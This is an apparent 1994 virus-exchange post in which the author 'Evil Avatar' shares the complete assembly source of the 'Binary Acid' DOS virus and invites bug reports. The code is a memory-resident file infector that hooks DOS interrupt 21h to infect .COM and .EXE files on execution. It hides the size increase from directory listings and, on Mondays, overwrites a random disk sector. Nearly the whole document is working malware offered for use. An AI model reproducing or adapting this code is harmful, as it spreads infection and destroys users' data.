Copy Link
Add to Bookmark
Report
Binary Acid
Ok, here is the Binary Acid source. It compiles to 666 bytes. It was padded so some of the code is not as optimised as it should be. Please tell me if you find and bugs, descrepancies (sp?), etc. I'm working on a boot sector virus right now. After that I will finish my multipartite one.
-Evil
-------------<slash here>--------------------------------------------------
;Binary Acid Virus
;by Evil Avatar
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.
.model tiny ;if you are lost already, you
.code ;shouldn't be playing with viruses
org 0h
v_mem equ (v_end-Acid+15)/16+1
v_word equ (v_end-Acid)/2
id equ 0a0ffh
v_file equ (heap-Acid)
Acid: call next
next: pop bp
sub bp, offset next ;get delta offset
mov ax, id
sub bx, bx
int 21h ;residentcy install check
push es ;save PSP segment
cmp bx, id ;are we here already?
je check ;then exit
mov ax, 3521h
int 21h ;get int 21h vector
mov word ptr [bp+save_21], bx
mov word ptr [bp+save_21+2], es ;save int 21h vector
mov ax, ds ;ds=PSP segment
dec ax ;ax=MCB segment
mov es, ax ;es=MCB segment
cmp byte ptr es:[0], 'Z' ;is it last MCB in chain?
jne done ;no? exit
sub word ptr es:[3], v_mem ;allocate memory for virus
sub word ptr es:[12h], v_mem ;change TOM field in PSP
mov ax, es:[12h] ;find virus MCB segment
mov es, ax ;es=virus MCB segment
mov byte ptr es:[0], 'Z' ;mark as last in MCB chain
mov word ptr es:[1], 8 ;DOS now owns this
mov word ptr es:[3], v_mem-1 ;set the size of segment
inc ax ;ax=virus segment
mov es, ax ;es=virus segment
lea si, [bp+offset Acid] ;start of virus
sub di, di ;clear di
mov cx, v_word ;virus size in words
rep movsw ;copy virus to TOM
push es
pop ds ;put segment in ds
mov ax, 2521h
mov dx, offset int21
int 21h ;set new int 21h vector in virus
check: pop es ;restore es
mov ah, 2ah
int 21h ;get date
cmp al, 1 ;is it a monday?
je destroy ;chew a sector
return:
cmp sp, 0abcdh ;is this an .exe file?
jne done ;no? restore com stuff
push es
pop ds
mov ax, es ;ax=PSP segment
add ax, 10h ;adjust for PSP size
add word ptr cs:[bp+comsave+2], ax ;set up cs
add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss
cli ;clear ints for stack manipulation
mov ss, ax ;set ss
mov sp, word ptr [bp+_ss_sp] ;set sp
sti ;restore ints
db 0eah ;jump to old program
comsave db 0cdh, 20h, 0, 0
destroy:
in al, 40h
xchg al, ah
in al, 40h ;get a random number
xchg ax, dx
mov cx, 1
mov ax, 2
int 26h ;and crunch that sector
jmp return ;return to program
done: push cs
pop ds ;ds=cs
push cs
pop es ;es=cs
mov di, 100h ;beginning of program
push di ;for later return
lea si, [bp+comsave] ;first 3 bytes of program
movsb
movsw ;restore first 3 bytes
ret ;return to program
int21: cmp ax, id ;is this an installation check?
je vcheck ;yes? tell 'em we're here
push bx
push cx
push si
push di
push es
push dx
push ds ;save regs
push ax
cmp ah, 4bh ;hmm..execute huh? well, they
je v_com ;did it to themselves
cmp ah, 11h ;dir check
je dirfix
cmp ah, 12h ;dir check
je dirfix
pop ax
pop ds
pop dx
intpop: pop es
pop di
pop si
pop cx
pop bx ;restore regs
jmp dword ptr cs:[save_21] ;jump to DOS int 21h
vcheck: xchg ax, bx ;put ID into bx
iret
dirfix: pushf
call dword ptr cs:save_21 ;simulate int 21h call
mov word ptr cs:[buffer], ax ;save return
push ax
push si
pushf ;save the new flags
mov si, sp
mov ax, [si] ;get new flags
mov [si+10], ax ;put them where old flags are
popf
pop si
pop ax
test al, al ;see if file is found
jnz nofile ;if none, exit
mov ah, 51h
int 21h ;get PSP segment
mov es, bx
cmp bx, es:[16h] ;is it DOS?
jne nofile ;no? avoid CHKDSK
mov ah, 2fh
int 21h ;get DTA in es:bx
cmp byte ptr ds:[bx], -1 ;is it extended FCB?
jne cont
add bx, 7 ;then add 7 to pointer
cont: mov cx, ds:[bx+17h] ;get time
and cx, 1fh ;get seconds
cmp cx, 1fh ;if not 62 secs then exit
jne nofile
sub ds:[bx+1dh], v_file
sbb word ptr ds:[bx+1fh], 0 ;subtract virus size
nofile: pop ax ;if you can read this
pop ds ;you don't need glasses
pop dx
pop es
pop di
pop si
pop cx
pop bx ;restore regs
mov ax, word ptr cs:[buffer] ;restore return type
iret
v_com: push ds
push dx
push cs
pop ds
mov ax, 3524h
int 21h ;get critical error handler
mov word ptr [save_24], bx
mov word ptr [save_24+2], es ;save it
mov ax, 2524h
mov dx, offset int24
int 21h ;set new critical error handler
pop dx
pop ds
push cs
pop es
mov ax, 4300h
int 21h ;get attributes of file
push cx ;save attributes
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
jc booster
mov ax, 3d02h
int 21h ;open file
xchg ax, bx ;put handle in bx
push cs
pop ds ;ds=cs for all references
jmp past_booster
booster: ;i hate having to use these
pop cx
pop ax
pop ds
pop dx
push ax
jmp bad_file
text db 'KW' ;you'll never guess
past_booster:
mov ah, 3fh
mov cx, 1ah
mov dx, offset buffer
int 21h ;read first 1ah bytes
mov ax, 5700h
int 21h ;get file time and date
mov word ptr [time], cx ;save time
mov word ptr [date], dx ;save date
and cx, 1fh ;get seconds
cmp cx, 1fh ;is it 62 secs?
je close ;already infected
cmp word ptr [buffer], 'ZM'
je v_exe
cmp word ptr [buffer], 'MZ'
je v_exe ;if .exe file then infect it
mov si, offset buffer
mov di, offset comsave
movsb
movsw ;move combytes to comsave
mov ax, 4202h
sub cx, cx
cwd
int 21h ;move pointer to EOF
sub ax, 3
mov byte ptr [buffer], 0e9h
mov word ptr [buffer+1], ax ;set up jump
write_virus:
mov ah, 40h
mov cx, v_file
cwd
int 21h ;write virus to EOF
mov ax, 4200h
sub cx, cx
int 21h ;go to beginning of file
mov ah, 40h
mov cx, 1ah ;restore buffer size
mov dx, offset buffer
int 21h ;write header or jump
sign: mov ax, 5701h
mov cx, word ptr [time] ;get time
or cx, 1fh ;set seconds to 62
mov dx, word ptr [date] ;get date
int 21h ;set file time and date
close: mov ah, 3eh
int 21h ;close file
pop cx ;get attributes
pop ax
pop ds
pop dx ;get file name
push ax
mov ax, 4301h
int 21h ;restore attributes
bad_file:
push ds
push dx
mov ax, 2524h
lds dx, dword ptr cs:[save_24]
int 21h ;restore old int 24h
pop dx
pop ds
pop ax
jmp intpop ;return to caller
v_exe: push bx
les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax
mov word ptr [comsave], ax ;save ip
mov word ptr [comsave+2], es ;save cs
les ax, dword ptr [buffer+0eh] ;get ss:sp
mov word ptr [_ss_sp], es ;save sp
mov word ptr [_ss_sp+2], ax ;save ss
add word ptr [buffer+0ah], v_mem ;set new minimum memory requested
mov ax, word ptr [buffer+8] ;get header size
mov cl, 10h
mul cl ;change to bytes
push ax ;save it
mov ax, 4202h
sub cx, cx
cwd ;move file pointer to EOF
int 21h ;and get file size in dx:ax
pop cx ;restore header size
push dx
push ax ;save file size
sub ax, cx
sbb dx, 0 ;get new cs:ip
mov word ptr [buffer+16h], dx ;save cs
mov word ptr [buffer+14h], ax ;save ip
mov word ptr [buffer+0eh], dx ;save ss
mov word ptr [buffer+10h], 0abcdh ;save sp
pop ax
pop dx ;get file size
add ax, (v_end-Acid)
adc dx, 0 ;add virus size
mov cx, 200h
div cx ;convert to pages
push ax ;save it
or dx, dx ;is there a remainder?
je remainder ;yes? increment number of pages
inc ax
remainder:
mov word ptr [buffer+4], ax ;save number of pages
pop ax
and ah, 1
mov word ptr [buffer+2], ax ;file size MOD 512
pop bx
jmp write_virus
int24: mov al, 3 ;fail the call
iret
vname db '[Binary Acid]', 0 ;do you need this explained???
author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!)
_ss_sp dd ? ;stack pointer
heap: ;variables
save_21 dd ? ;int 21h entry
save_24 dd ? ;int 24h entry
time dw ? ;file time
date dw ? ;file date
buffer db 1ah dup (?) ;buffer
v_end:
end Acid